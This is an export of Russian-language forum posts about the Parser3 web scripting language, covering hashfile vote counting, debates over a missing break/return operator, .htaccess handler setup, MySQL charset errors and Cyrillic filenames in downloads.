$kirill1	$results.kirill2	$results.kirill3	$results.kuznecov1	$results.chibirev	$results.chibirev1	$results.chibirev2	$results.yakovlev1	$results.yakovlev2	$results.yakovlev3	$results.x-ray1	$results.x-ray2	$results.x-ray3	$results.boyarinov1	$results.boyarinov2	$results.boyarinov3	$results.denisov1	$results.denisov2	$results.denisov3	$results.spirit1	$results.spirit2	$results.spirit3	$results.ppopov1	$results.ppopov2	$results.ppopov3	$results.rabez1	$results.rabez2	$results.rabez3	$results.mprokopenko1	$results.mprokopenko2	$results.mprokopenko3	$results.alyaev1	$results.alyaev2	$results.alyaev3	$results.orange_fox1	$results.orange_fox2	$results.orange_fox3	$results.maslov1	$results.maslov2	$results.maslov3	$results.kovshova1	$results.kovshova2	$results.boyarkin1	$results.boyarkin2	$results.boyarkin3	$results.stamp1	$results.stamp2	$results.stamp3	$results.efremova1	$results.efremova2	$results.efremova3	$results.fisher1	$results.fisher2	$results.fisher3	$results.omar1	$results.omar2	$results.omar3	$results.omar4	$results.nedlin1	$results.nedlin2	$results.anton1	$results.anton2	$results.anton3	$results.bondakov1	$results.lazutkin1	$results.lazutkin2	$results.lazutkin3	$results.oleg1	$results.oleg2	$results.oleg3	$results.alex1	$results.asas	$results.serge1	$results.serge2	$results.uchaev1	$results.starikov3	$results.starikov2	$results.starikov1	$results.lele1	$results.eric1	$results.eric2	$results.eric3	$results.mcsim1	$results.sanesha2	$results.sanesha1	$results.alan1	$results.alan2	$results.alan3}]\
^newresults.save[/results.txt]\
$results[^table::load[/results.txt]]\
 }{\
\
Таких вот if у меня штук 70."
"61184","Наконец-то удалось решить задачу.\
\
Подошел дистрибутив, присланный MT (большое ему спасибо за это). Качать тут - http://www.parser.ru/download/contrib/ (Linux Debian 3.4: Parser 3.2.1sp2 + MySQL драйвер).\
\
Загрузка файлов в binary mode и установка прав в 755 для parser3.cgi"
"61185","при завершении операции, после ответа от сервака получаем ошибку\
\
ФФ выдает : d has no properties JsHttpRequest.js (line 388)\
ИЕ выдает : 'undefined' - есть null или не является объектом (389)"
"61186","Давно хотел спросить, что собой представляет\
[quot]CONSTRUCTOR - инструкции, по которым будет происходить создание объектов данного типа[/quot]\
Это код на парсере или инструкции в каком-то другом виде?"
"61188","код — за гранью добра и зла..."
"61190","У меня есть голосование. Результ пишется в файл. На кнопке \"Голосовать\" стоит обработчик, который через if и input value записывает в файл результат. Насколько я понял, слишком длинная конструкция и вызывает стек оверфлоу."
"61192","Есть картинки. К картинке привязано имя. Есть селектор c именем картинки и кнопка, по нажатию на которую к выбранному имени добавляется +1."
"61193","а что мешает записать всех претендентов голосования в БД, доставать их одним запросом из базы (с кешированием), и пройдясь по этой таблице определить, кому дан текущий голос и увеличить его? То, что сейчас сделано у вас - это тихий ужас. Пример, как делать НЕ надо.\
\
или же, если у вас нет БД, то сделать это с таблицей на диске - принцип тот же. Проходитесь по таблице, нашли голос - добавили 1."
"61194","нету доступа к БД сделайте через хэшфайл\
тогда все ваши 70 if'ов сведутся к\
[code]\
$results[^hashfile::open[/results.dat]]\
^if(def $form:ok && def $results.[$form:ok]){\
   ^results.[$form:ok].inc[]\
}\
[/code]\
все - данные инкрементированы, обновлены, сохранены и доступны,\
но только предварительно вам нужно данный хеш файл создать\
например кодом:\
[code]\
$results[^hashfile::open[/results.dat]]\
$results.kirill(0)\
$results.kirill2(0)\
...\
$results.petya(подставьте здесь ваши текущие значения)\
[/code]\
и все получится"
"61195","'open' this hashfile is already opened, use existing variable [parser.runtime]\
\
<form method=\"post\">\
<input type=\"submit\" value=\"Голосовать\" name=\"posted\" style=\"margin-left: 20px;\"></form>\
\
^if(def $form:ok){\
\
$results[^hashfile::open[/results.dat]]\
$results.kirill(0)\
$results.kirill2(0)\
\
$results[^hashfile::open[/results.dat]]\
^if(def $form:ok && def $results.[$form:ok]){\
   ^results.[$form:ok].inc[]\
}\
}"
"61196","[quote]Замечание: нельзя два раза открыть один и тот же файл.[/quote]"
"61199","Зачем вы открываете дважды?\
Вы ознакомились с документацией по использованию хэш-файла, или будете писать как получиться, не задумываясь?.."
"61201","это единственное место в БД, где хранится парсерный код.\
\
причем сейчас бы я так не сделал (однако увы, приходится обеспечивать обратную совместимость), все равно в текущей реализации там примитивный код: вызов метода уже подключенного класса (т.е. весь код производящий действия -- в классе), и передача ему всех параметров (одинаковые для разных типов данных) + единственного отличия - аббревиатуры типа данных.\
\
сейчас бы я просто добавил бы в таблицу отдельное поле \"аббревиатура\" и если оно заполнено, то вызывал бы метод класса со всеми параметрами + этой аббревиатурой.\
\
возможно в ближайшее время так и сделаю, но для совместимости (увы) будут функционировать оба механизма параллельно."
"61202","Собственно это не вопрос, а скорее ответ для тех, что возможно как и я столкнется с таким вопросом (в форуме вроде не нашел). Наверно это стоит добавить и в доку. Решение то простое конечно, но не очевидное\
\
Допустим есть таблица (такую таблицу выдает например MySQL запрос SHOW CREATE SCHEMA):\
\
[code]$table[^table::create{Database	[b]Create Database[/b]\
mybase	CREATE DATABASE `mybase` /*!40100 DEFAULT CHARACTER SET cp1251 */}]\
[/code]\
\
Тогда чтобы получить доступ к столбцу 'Create Database', нужно написать \
[code]$table.[Create Database][/code]\
\
Такой подход работает и в общем случае:\
\
[code]$[my var][value]\
$[my var] -> value[/code]\
\
хотя называть так переменные наверно не стоит"
"61203","ну... если для каждого символа описывать...\
\
а так похожее есть в [url=\"/faq/lang/\"]FAQ[/url] и в [url=\"/docs/lang/vars.htm\"]доке[/url] в виде комментариев пользователей (не конкретно по пробелу. варианты доступных формулировок для доки принимаются)"
"61204","вот такую красоту наблюдаю уже день, переносили сайт с одного хостинга на другой,\
думаю \"|    \" это перенос строки и неудачно перекодированные данные после,\
новая база в UTF8\
Collation выставлены в cp_1251_ci\
на новом хостинге mysql 5.0.27\
строка конекта заканчивается ?charset=cp1251\
на старом хостинге было ?charset=cp1251_koi8\
\
/data/classes/common//sql.p(153:53): 'SELECT|		abbr,|		href|  	FROM|  		lang|  	WHERE|  		lang_id = |' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 7 [sql.execute]\
\
libmysqlclient.so подставлял 4.1.21 (so.14) и 5.0.27 (so.15) - подключаются обе, но результат тотже"
"61205","Таблицы перекодировки 1251 и koi8 загружены.\
Буду благодарен за подсказку, а то сам уже перепробовал и соединение с разными параметрами charset и без них, все едино"
"61206","Если бы косяк был с ним, никакого ответа от MySQL вы бы не увидели.\
\
Собака порылась тут:\
\
'SELECT| abbr,| href| FROM| lang| WHERE| lang_id = |[b][color=\"#ff0000\"]а тут у вас пусто[/color][/b]'\
\
Конечно, со стороны MySQL было бы гуманнее написать [i]check for the right syntax to use near [b]end of query[/b][/i], а не [i]near ''[/i]"
"61207","Я так и понял, но забыл что на форуме надо пробелы как-то обозначить, \"| а здесь пробелы\""
"61208","_test.html выдает следующее\
\
...\
Работа с SQL\
\
^int:sql{SELECT 2+2}: 4\
\
Определение серверной кодировки MySQL: $request:charset (CP1251) и SQL переменная character_set (cp1251) совпадают, следовательно указывать дополнительные параметры в строке соединение не требуется.\
\
SQL преобразование строки с русским алфавитом к верхнему регистру: преобразование прошло корректно, скорее всего кодировки настроены верно."
"61209","ДОШЛО - топик можно в топку - спасибо"
"61210","Не, ну для каждого символа не надо конечно, наверно эта проблема возникает при использовании симолов отличных от \\w, т.е. a-zA-Z0-9_. с дефисом похожие трудности, но возникнут в числовом контексте.\
\
Наверно так и написать:\
если имя переменной[поля обьекта, столбца таблицы etc] содержит символы, отличные от алфавитно-цифровых и символа подчеркивания то его следует заключать в квадратные(или фигурные?) скобки, т.е. например так:\
[code]$[var name1][value1] -> $[var name1] выведет  value1\
$[var,name2][value2] -> $[var,name2] выведет  value2[/code]\
\
[code]$table.[column name][/code]\
\
\
Кстати коменты в доке я не читаю, так как пользуюсь локальной chm-версией, а их там нет."
"61211","что плохо.\
\
Напрямую nConvert не поддерживает, но можно сэмулировать через промежуточное сохранение в jpg/bmp."
"61212","но срочно надо не было.\
Возможно сделаю, когда появится свободное время :)"
"61213","Т.е. после оператора ^xxx[] Parser считает, что код кончился и выводит то, что успел обработать.\
\
ЗЫ. Извинтиляюсь за нубские вопросы."
"61215","А хотелось бы что нибудь типа: ^break[]\
Есть такое?\
\
ЗЫ. Цикла нет, так что вряд ли break пройдет."
"61216","говорит о неверном подходе.\
Опишите задачу и видимое вами решение оной."
"61217","чтобы в любом месте метода досрочно завершить его выполнение и отвалить с указанным результатом?\
\
если да, то такого в парсере нету.\
однако в большинстве случаев небольшими изменениями условий или добавлением флаговых переменных задача решается.\
\
в далёком todo этот метод у нас есть (никаких сроков, особенно учитывая что нам он сильно не нужен), но и patch готовы принять.\
\
P.S. можно эмулировать, но это хуже чем флаги:\
[code]\
@method[]\
^try{\
	...код метода...\
	когда надо отвалить пишем:\
	$result[sdfadf]\
	^throw[return;]\
}{\
	^if($exception.type eq \"return\"){\
		$exception.handled(1)\
	}\
}\
[/code]"
"61218","потому что, выражаясь вашим же языком, такой код не красивый.\
\
Я, конечно, уже написал себе метод ^justTry{} и ^break[] для него? но считаю упущением отсутствие соответствующего оператора.\
\
задание $result - это плюс\
отсутствие ^return[] - минус\
\
Просьба ускорить todo ))"
"61219","в первую очередь: хинт с try -- рессурсоёмкий, и не надо использовать его без крайней надобности. кроме того: в 3.2.2 появится ^break[], так что ваш ^break[] работать может прекратить :) [хотя хз, ни разу не пробовал перекрывать системные операторы поэтому не знаю какой из них будет работать]\
\
лично я [b]не[/b] использую подобный подход и, если честно, то ни разу не встречал кода, в которм бы он был сильно оправдан (лирическое отступление: я не крут в программировании). всё решается небольшим реструктурированием существующего небольшого  метода. а если вдруг метод большой -- то... разбиванием его на части (читаем про рефакторинг).\
\
читаемость у кода в случае, когда каждый метод имеет одну точку входа и одну точку выхода -- лучше. лучше читаемость -> меньше вероятность допустить ошибку."
"61220","В известных мне языках програмирования есть return\
и в яве и Си\
\
Существование его думается обоснованным, раз разработчики это сделали. Да и на практике его применение осмысленно.\
\
Если взглянуть в класс JsHttpRequest\
то можно найти такой метод:\
\
[code]@_object2js[uVar]\
$result[]\
^if(!(\
	($uVar is \"bool\" && ($uVar && ^self._return[true] || ^self._return[false]))\
	|| (!def $uVar && ^self._return[null])\
	|| ($uVar is \"string\" && ^self._return[^_string2js[$uVar]])\
	|| ($uVar is \"int\" && ^self._return[$uVar])\
	|| ($uVar is \"double\" && ^self._return[$uVar])\
	|| ($uVar is \"table\" && (($uVar && ^self._return[^self._table2js[$uVar]]) || ^self._return[null]))\
	|| ($uVar is \"hash\" && (($uVar && ^self._return[^self._hash2js[$uVar]]) || ^self._return[null]))\
	|| ($uVar is \"date\" && ^self._return[new Date(^uVar.unix-timestamp[]000)])\
)){\
	^self._return[null]\
}[/code]\
\
Простите, но это изъебон, и читать это несколько труднее, нежели это было бы написано так:\
[code]\
^if($uVar is \"string\"){^return[^_string2js[$uVar]]}\
^if($uVar is \"int\"){^return[$uVar]}\
^if($uVar is \"double\"){^return[$uVar]}\
[/code]\
\
^switch{ ^case[]} не всегда уместен но смысл остается похожим.\
Поэтому присутствие оператора ^return[] очень нужно\
\
PS. ^break у меня в отдельном классе, я просто для простоты так написал. )"
"61221","если какой-то метод существует, то это ещё не означает что его всюда нужно использовать. в том-же коде парсера return-ов ну просто завались.\
я говорил что _я_ подобный подход не используюи рассказал о причине.\
\
приведённый код ужасен (и не только по причине отсутствия return, но в первую очередь по причине своей непонятности и нестандартного использования типового оператора, но и по причине кучи 'is') %-)\
я его не трогал потому, что сам с трудом понимаю как он работает :)\
\
с другой стороны если уж его и переписывать, то не так как предлагается, а например таким способом (уже доступный в 3.2.2b):\
[code]\
$result[^switch[$uVar.CLASS_NAME]{\
	^case[date]{new Date(^uVar.unix-timestamp[]000)}\
	^case[int;double]{$uVar}\
	...\
}]\
[/code]"
"61222","Не могу понять. Уже все перечитал и по десять раз - и FAQ и документацию.\
\
Парсер работает (вижу строчку Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1) )\
\
В .htaccess прописал:\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
RemoveHandler html\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
\
В sections.cfg:\
section_id	name	uri\
1	Главная	/\
2	Новости	/news/\
3	Контакты	/contacts/\
\
Табуляция есть (НЕ пробелы, точно)\
\
В auto.p:\
@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
<tr> \
^sections.menu{ \
<td align=\"center\"> \
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
</td> \
} \
</tr> \
</table>\
\
В index.html:\
^navigation[]\
\
\
index, sections и auto лежат в директории html файлов хостинга (/www/htdocs/)\
.htacess лежит в корневой директории /www/\
\
\
И ОТОБРАЖАЕТСЯ ТОЛЬКО ^navigation[]\
\
Какой то кошмар! Кто решал эту проблему - напишите пожалуйста все четко... я облазил весь форум, читал 4 часа - 90% ответов \"иди в Документацию\", которую я и так уже прочитал."
"61223","в faq внимательно прочитайте \"Я в браузере вижу код на Parser, он не обработался...\"\
\
и расскажите зачем вы добавляли строкe \"RemoveHandler html\" и дублировали \"AddHandler...\""
"61224","Парсер все-таки не назначен обработчиком ваших документов.\
Для проверки функционирования парсера наберите в адресной строке броузера:\
http://ваш_сайт/cgi-bin/parser3.cgi (или .exe, для версии под Win32)\
Вы должны увидеть примерно следующее: \
Parser/3.x.x\
\
- так и есть. вижу.\
\
Если вы это увидели, парсер скопирован куда следует, права на него установлены правильные.\
\
Если парсер скопирован правильно и вы не забыли прописать в .htaccess инструкции, указанные в документации, возможно вы забыли разрешить апачу обработку .htaccess в файле httpd.conf с помощью инструкции AllowOverride. \
Чтобы проверить, обрабатывается ли у вас .htaccess — впишите в него какую-нибудь заведомо неверную инструкцию, например «mytest», в самое начало. Если при релоаде страницы вы не увидите 500 ошибку (она обязательно появится если все настроено верно) — значит данный файл у вас не обрабатывается. Измените значение AllowOverride или обратитесь к вашему администратору.\
\
- написал вначале mytest, начало выдавать ошибку 500. Т.е. .htaccess читается нормально. Больше там ничего не написано.\
\
дублировал случайно - уже убрал. Все равно ничего не меняется."
"61226","[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
RemoveHandler html\
[code/]"
"61227","[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
RemoveHandler html\
[/code]"
"61229","Уже убрал :) Оно все равно ни на что не влияло, все как было, так и осталось."
"61231","Сделал. Начало выскакивать 404:\
Not Found\
The requested URL /cgi-bin/parser3.cgi/index.html was not found on this server.\
\
вернул все обратно, 404 осталась.\
Какой то идиотизм."
"61232","Заново создал .htaccess, все опять по прежнему. \
\
Т.е. ^navigation[]"
"61233","И все таки нет :) 404\
а обратно все вернулось потому что написал .htacess случайно)\
\
Ох какой же бред... нифига не понять. Товарищи, может кто настроет, а? Постучите в асю 3020906, я кину лог и пасс... если кто реально может и хочет :)"
"61234","Спасибо shopenу )))\
Вообщем траблы были в:\
1. .htaccess должен лежать в папке где лежит index.html\
2. я путь попутал :) было cgi/parser3/\
а должно быть cgi/parser3/parser3.cgi"
"61235","И сразу тогда вопрос, вы можете писать в новостях о главной о всех изменениях на сайте?\
\
Просто иногда обновления становятся большим сюрпризом, т.к. я, например, не всегда открываю все разделы сайта, чтобы проверить, не появилось ли чего, выделенного красным цветом. \
А в форуме можно не заметить сообщений об этом, если некоторое время не заходил.\
(так например обновления класса sql.p и остальных соответственно стали сюрпризом, когда я узнал об этом месяц спустя :)"
"61236","На форуме эта ошибка уже не раз обсуждалась, но решения я так и не нашёл((\
\
Работало у меня всё на хосте больше года прекрасно и в один прекрасный момент я получаю такую ошибку: post_size(0) != content_length(66) на все POST запросы с html. PHP работает корректно.\
\
Обновил версию парсера... не помогло\
\
Создал /cgi-bin/parser3.cgi\
с таким содержанием:\
[code]#!/usr/bin/perl\
\
print \"Content-Type: text/html\\n\\n\";\
\
foreach my $key (keys %ENV)\
{\
	print \"$key=$ENV{$key}<br />\";\
}\
\
print while <STDIN>;[/code]\
\
Данные проходят....\
\
В чём же проблема? как исправить?"
"61237","находится 3 десятка сообщений, в которых я увидел несколько разных возможных причин и соотв. способов их устранения."
"61238","это он ругается на\
\
$results[^hashfile::open[/results.dat]]\
^if(def $form:ok && def $results.[$form:ok]){\
   ^results.[$form:ok].inc[]\
}"
"61239","перепиши:\
[code]\
$results[^hashfile::open[/results.dat]]\
^if(def $form:ok && def $results.[$form:ok]){\
   $i(^results.[$form:ok].int(0))\
   ^i.inc[]\
   $results.[$form:ok][$i]\
}\
[/code]"
"61240","Итак, у нас есть (к примеру) [i]init.p[/i], который загружает нам необходимую информацию (настройки администратора, отображения, главное меню, заголовки страниц...).\
\
В любой момент файл или переменная может отсутствовать (или гость пытается залезть в админку, или забаненный юзер ломится в форум). Нам нужно показать ошибку и прекратить дальше выполнение кода (затем, чтобы ненароком не использовать отсутствующий файл и т.п.):\
\
[code]^showerror($ERR_FILE_NOT_FOUND)\
# ^break[] ???[/code]\
\
Если ставить условие на существование переменной \\ файла к концу это будет выглядеть примерно так:\
\
[code]^if(def $a && def $b && def $c && $c == 0 && def $d){\
# где a, b, c, d выглядят примерно так: -f \"/includes/templates/error.tmpl\"[/code]\
\
Определенно такой код сложно прочитать.\
\
И тут мы подошли к возможному [b]решению[/b].\
Как вариант - объявить переменную [i]$GlobalFailed[/i] и перед тем, как показать ошибку,\
устанавливать ее в истину.\
\
[code]^showerror($ERR_FILE_NOT_FOUND)\
$GlobalFailed(1)\
\
^if(! $GlobalFailed){\
# ...[/code]\
\
[b]Но![/b] Код все равно будет пестреть условиями [i]^if(! $GlobalFailed)[/i], что затруднит читаемость.\
\
Жду ваших предложений."
"61241","оба приведенных вами примера связаны с ошибками\
[code]\
^showerror($ERR_FILE_NOT_FOUND)\
^break[]\
[/code]\
\
И что?  Для этих вещей  и существует ^try{}\
\
[quote]\
Если ставить условие на существование переменной \\ файла к концу это будет выглядеть примерно так\
Код все равно будет пестреть условиями\
[/quote]\
\
Знаете, вы сначала напишите, а потом ЕСЛИ у вас так и будет, то покажите код здесь. А то люди годами делают совсем неслабые проекты на парсере и у них почему то этого нет.\
\
[quote]\
Жду ваших предложений.\
[/quote]\
\
Легко - не можешь обойтись без ^break[], не работай на парсере."
"61243","У меня такая конструкция:\
\
<table style=\"margin-bottom: 45px;\">\
	<tr style=\"vertical-align: top;\">\
		<td style=\"vertical-align: top;\">\
$sections[^table::load[sections.cfg]]\
	^sections.menu{\
		<div class=\"thumbnail\">\
\
<div style=^\"position^: relative^; height^: 0em^;^\">\
\
    <div style=^\"position^: absolute^; top^: 0^; left^: 0em^;^\">\
        <div style=^\"width^: 100%^; height^: 100%^;^\">\
            <img src=^\"shadow.png^\" width=^\"1^\" height=^\"1^\" alt=^\"^\"\
                style=^\"width^: 99%^; height^: 99%^; position^: absolute^; top^: 0^; left^: 0^;^\"\
                onload=^\"if^( this.runtimeStyle && this.src.match^( /\\.png^$/ ^) ^)^{\
                    this.runtimeStyle.filter\
                        = 'progid:DXImageTransform.Microsoft.AlphaImageLoader(src='\
                        + this.src\
                        + ', sizingMethod=scale^)'^;\
                    this.src = '0.gif'^;\
                ^}^\"\
             />\
            <div style=^\"position^: relative^; background^: #fef6e0^; margin^: 15px^; padding^: 15px^;^\">\
                <a href=$sections.big><img src=$sections.url title=\"$sections.description\"></a>\
\
		<p class=\"smallest_body\"><b>$sections.name</b></p><p class=\"smallest_body\"><input type=\"radio\" name=\"ok\" value=\"$sections.value\"> $sections.description</p>\
            </div>\
        </div>\
    </div>\
</div>\
\
\
</div>	\
\
Надо, что бы под каждым фото было количество голосов."
"61244","поменяйте $sections.description на $results.[$sections.value]\
\
PS: обрамляйте код в постах bb тегами code, чтобы хоть подсветка была чтоли"
"61246","Если стоит задача проверки прав, она выполняется в начале кода и вы для всей дальнейшей работы доступна в виде поля класса.\
Никаких проблем в этом не вижу.\
Зато сразу понятно, что и где проверяется.\
\
Break тоже нужно делать исходя из каких-то критериев, чем он тут поможет?..\
Будет та же проверка, после которой break.\
\
Ищи потом, в каком месте нерадивый программер запихнул точку остановки и вычитывай те же условия.\
\
Нисколько это не упрощает код.\
Остановка оправдана только в случае с циклами, и то достаточно редко.\
\
Если вы напишите реальный код и приведёте пример, когда break его реально упростит — с удовольствием посмотрю и покаюсь, если оно действительно будет полезно."
"61247","Вот какие можно выделить сходу:\
1) метод location, который используется, когда в процессе работы понадобилось перейти по другому адресу. Не важно с какой целью, когда и как. Суть - парсер не остановится после вызова этого метода, а будет продолжать выполнять все, что есть после. Но это нах не нужно, потому как мы хотим сделать переход. И вот тут разумным будет использование ^break[] или ^return[]\
\
2) аналог ^switch[] если хотите, но с более сложной логикой. Кучу примеров можно найти открыв хотя бы скрипт JsHttpRequest.js, а вот [url=\"http://www.parser.ru/forum/?id=61220\"]тут[/url] я привел пример, где отсутствие подобных операторов приводит к тому, что прихотся лепить из того что есть."
"61248","подробнее? \
есть cvs, есть cvs.parser.ru, там есть Changelog с изменениями (+ в чате как-то выкладывал ссылку на более менее оформленную новость, которая ждёт своего часа==релиза)\
\
[quot]И сразу тогда вопрос, вы можете писать в новостях о главной о всех изменениях на сайте?[/quot]\
\
типа \"20 мая была поправлена буква 'зы'\"?\
да ну нафиг ещё и на это время тратить."
"61250","но грань разумного я не предлагал переступать.\
\
Есть изменения важные. И вы и я примерно понимаем какие. О них и спрашиваю. \
\
Но если просто достали одни и те же тупые вопросы, а главное - просьбы (из серии: \"Разжуйте и в рот положите, и скажите спасибо что руку не откусили\") то чтоит так и написать: \"Идите на ...\"\
\
)) Извините за назойливость, просто ради общего дела трудимся. Не все, но некоторые ))"
"61252","обо всех изменениях, которые я считаю важными -- новости пишутся (т.е. я не очень понимаю о каких важных изменениях идет речь, поясните?).\
\
- о том что переименовались архивы с драйверами?\
- о том что в default конфигурационном auto.p пробелы заменились на tab-ы?\
- о том что в таблице кодировки 1251 было удалено N дубликатов?\
- примеры -- не жизненно необходимые вещи. более того, следуя важному принципу \"работает -- не трожь\" нет смысла сломя голову начинать апгрейдится при их обновлениях, особенно учитывая тот факт что там частенько бывают ошибки (именно поэтому выкладывая обновленные классы в примерах я не хочу чтобы все сразу обновлялись).\
\
ну чего писать об этом в новостях-то?"
"61253","Не знаю про какие вы эмоции, вроде никто матом и так не ругался...\
\
Пример с location, на мой взгляд, не самый показательный, всё зависит от применения.\
Думаю, можно написать так, что и без остановки будет нормально работать.\
\
Второй пример вообще не из этой оперы.\
Такое нагромождение из-за отстутсвия получения имени класса.\
\
Из моего, не чрезмерно богатого, опыта могу сказать, что большинство случаев возникновения желания использовать остановку вызвано неверным \"проектированием\".\
Когда оказываешься в ситуации, что уже много понаписано, но неплохо было бы вот так извернуться..."
"61254","Случай первый:\
[code]\
$response:download[^file::load[binary;$sFilePath/$sFileName]]\
[/code]\
\
В итоге в IE все нормально, Opera все кириллистические символы заменяет квадратиками, а FF вообще съедает все кириллистические символы вместе с расширением файла.\
\
Случай второй:\
[code]\
$response:download[\
	$.file[$sFilePath/$sFileName]\
	$.name[$sFileName]\
]\
[/code]\
\
IE съедает всю кириллицу напрочь, в FF и Opera все кириллистические символы преобразуются к %XX-представлению.\
\
В форуме ответа не нашел, неужели никто не сталкивался?"
"61255","Предлагаю делать так, как делается например на http://community.livejournal.com/ru_mirandaim/ в частности, и на куче других форумах в общем.\
\
Например: http://www.parser.ru/forum/?id=61202.\
Тема треда: Как получить доступ к столбцу в имени которого есть пробел.\
\
Позднее человек находит решение, а другой человек спустя ещё месяц ищет поиском решение похожей проблемы. В поиске ему вываливается куча заголовков, коими являются и треды и ответы на треды.\
\
Предлагаю. После того, как человек нашёл решение поставленной им задачи, менять самый первый (корневой) пост и приводить его заголовок к виду:\
\
Как получить доступ к столбцу в имени которого есть пробел [b][...][/b]\
\
А вместо «...» писать что-то типа: [b]решено[/b], [b]понял[/b], [b]никак[/b] либо любые другие логически обоснованные междометия, которые помогают при поиске выбирать нужную ветку либо сразу увидеть, что ответа в ней нет.\
\
А в самОм корневом посте, внизу писать что-то типа:\
\
[b]Upd:[/b] или [b]Вот так:[/b] или [b]Решение:[/b]\
\
Ну вобщем, как-то структурировать информацию."
"61256","никто не мешает уже сейчас так писать, многие этим пользуются.\
\
С другой стороны, многим лень написать вменяемую тему, не говоря уже о выжимке смысла из неё в виде префикса.\
\
По сему, думаю, предложение хорошее, но действия не возымеет..."
"61257","Просто, обычно это прописано в правилах форума, и невыполнение оных карается..."
"61258","Если бы такое было, я бы добавлял в конец заголовка полезных реплик в угловых скобках [ключевые, слова, вот так]."
"61259","пробывал:\
\
1)В .htaccess пишем конструкцию\
\
<FIles ~ \"\\.html$\">\
    <LimitExcept GET POST>\
        Require valid-user\
    </LimitExcept>\
<Files>\
\
При этом надо иметь AllowOverride All\
\
2)Другой вариант - перекрыть расширение .php парсерным хэндлером\
\
AddHandler parser-html .php\
Action parser-html /cgi-bin/parser3.cgi\
\
3)Создал перл скрипт 3.cgi с таким содержанием:\
#!/usr/bin/perl\
\
print \"Content-Type: text/html\\n\\n\";\
\
foreach my $key (keys %ENV)\
{\
    print \"$key=$ENV{$key}<br />\";\
}\
\
print while <STDIN>;\
\
При посте данных из формы на скрипт 3.cgi всё работает корректно!\
Но если в .htaccess написать:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/3.cgi\
\
и организовать пост запрос, то данные не проходят и где-то теряются!"
"61261","Отредактировать собственное сообщение можно, но... я так понял по прошествие какого-то времени нельзя. А почему?\
\
Я может неправильно выразился, но свои старые посты я не смог отредактировать, а вот этот — могу. Пока..."
"61263","0. я не выявил различия для двух представленных случаев.\
платформа winxp\
1. IE 6.0.2800 и FireFox 2.0.0.4 в момент появления окна о загрузке, а также в диалоге о сохранении файла отображают кириллические буквы корректно!\
(особенность у IE: если файл с кодом парсера заглавный (index.html) - он отдаёт содержимое файла, а не предлагает загрузку).\
2. Opera 9.10 сборка 8679 заменяет кириллицу на квадраты в окне, в диалоге на палки.\
3. Safari 3.0.2 (522.13.1) никогда не предлагает сохранить файл на диске. при просмотре непосредственно самого файла (у меня были .jpg ги) глотает в адресной строке кириллицу."
"61264","бывает так, что незначительные детали оказываются важными, и могут послужить появлению интересных идей.\
\
Суть в том, что определять значимость события оставим полбзователям. Я лишь прошу чтобы где-то в новостях или форуме (а лучше и там и там) при изменениях загорался сигнал об этом. Чтобы не бегать по сайту в поисках помеченной красным даты. ))\
\
А, пусть даже сырые, классы - это уже пища для мозгов, и повод подготовиться к тому, что когда они будут готовы полностью, их можно будет смело внедрять у себя.\
\
Серия обновлений в феврале, мне кажется, точно заслужила анонса. \
))"
"61265","Никто ничего не должен, а главное и не будет делать.\
Просто хочется хороший поиск, помогающий быстро найти то, что хочется. просто полнотекстовый поиск MySQL туповат для этого. к нему нужно приложить руку. \
\
но вот когда эта рука приложится низнает никто, но все надеятся и ждут )))"
"61268","как ни странно метод ^showerror($const) как раз использует нечто $response:location\
\
т.е. мы проверили наличие шаблона - нету - вылетаем и показываем ошибку. Явно нам дальше идти нет смысла и проверять остальное, поскольку (к примеру) данный шаблон выводит статьи (основной контент)...\
\
и таких проверок много (все бы ничего, но они вложенные, если кто не понял :)\
\
я тут подумала над вариантами, а что если разбить все проверки на методы и включить их все в одно условие аки так:\
   ^if(^ErrorTemplateExists[] && ^ArticleTemplateExists[] ...\
\
Что скажете?"
"61269","на мой взгляд лучше всего сгенерировать исключение, оставив его обработку на совести вызывающего.\
Вызывающий может обработать его, либо отправить выше, пусть уже там разбираются.\
\
Ибо, если конструктору объекта, к примеру, необходимы некоторые данные, которые являются критичными для создания объекта, в случае их неполучения глупо пытаться что-то предпринять, чтобы как-то продолжить работу (масса вложенных проверок).\
\
Механизм исключений как раз и создан для облегчения работы с подобными случаями.\
\
К примеру, если код должен работать только в случае определённых прав, ничего не мешает вызывать метод проверки, имея ввиду, что он вернёт ошибку, если прав недостаточно.\
Метод проверки прав генерирует исключение, если прав недостаточно, метод вывода данных знает, что проверка может вызвать исключение оговоренного типа.\
\
В этом случае, при наличии прав данные спокойно выдаются, при недостаточности — можно как угодно обругать юзера, перехватив ошибку.\
Всё сводится к некому централизованному обработчику внутренних ошибок, который, в случае нештатной ситуации, выполнит необходимые действия.\
Ну, а выполнение кода, естественно, остановится при генерации исключения."
"61270","но прочитав еще раз этот трэд вы прочитаете о том что [quote]в первую очередь: хинт с try -- рессурсоёмкий, и не надо использовать его без крайней надобности[/quote]"
"61271","т.к. централизованый обработчик внештатных ситуаций один. более того, он уже есть (@unhandled_exception)\
\
я имел в виду, что хинт с try не стоит использовать, чтобы эмулировать return в методах, т.к. их много, значит будет много try."
"61273","Обнаружил что при задании заголовков ответа типа [code]$response:location[http://$env:HTTP_HOST/index.html][/code] происходит внешний редирект (средствами [b]пользовательского агента[/b]), а при задании [code]$response:location[/index.html][/code] - внутренний, средствами [b]Парсера[/b].\
\
Так же можно задать как оказалось [code]$response:status(200)[/code] при редиректе через ErrorDocument"
"61274","Установите сниффер (он вам ещё хорошо послужит, если займётесь ajax) и убедитесь Ж)"
